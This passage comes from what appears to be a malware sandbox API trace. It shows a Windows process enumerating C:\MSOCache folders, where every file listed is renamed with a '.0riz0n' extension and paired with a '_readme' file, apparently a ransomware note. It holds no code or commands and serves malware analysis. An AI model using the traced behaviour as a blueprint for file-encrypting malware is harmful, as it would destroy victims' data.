hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427ce290, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.680] GetLastError () returned 0x12 [0140.680] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986af0) returned 1 [0140.680] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.680] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.680] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43a66e70, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0140.681] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.681] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43a66e70, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0140.682] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0140.682] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.682] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0140.682] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.682] NtClose (Handle=0x198) returned 0x0 [0140.682] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.682] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.682] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.682] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.682] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.682] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986af0 [0140.682] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0140.746] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43a66e70, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438c3f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x438c3f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a40d10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a40d10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a66e70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a66e70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.748] GetLastError () returned 0x12 [0140.748] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bb8 [0140.748] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43a66e70, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x438c3f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x438c3f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a40d10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a40d10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a66e70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.748] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43a66e70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43a66e70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.748] GetLastError () returned 0x12 [0140.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986af0) returned 1 [0140.748] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x407f7c50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x407f7c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4081ddb0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4081ddb0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40843f10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40843f10, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x40843f10, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.749] GetLastError () returned 0x12 [0140.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0140.749] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983bf0) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0140.749] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43e914f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0140.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.749] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43e914f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0140.769] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0140.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.769] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0140.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.769] NtClose (Handle=0x194) returned 0x0 [0140.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0140.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0140.769] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0140.772] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43e914f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x43e914f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43b4b6b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x43b4b6b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.773] FindNextFileW (in: hFindFile=0x829b78, 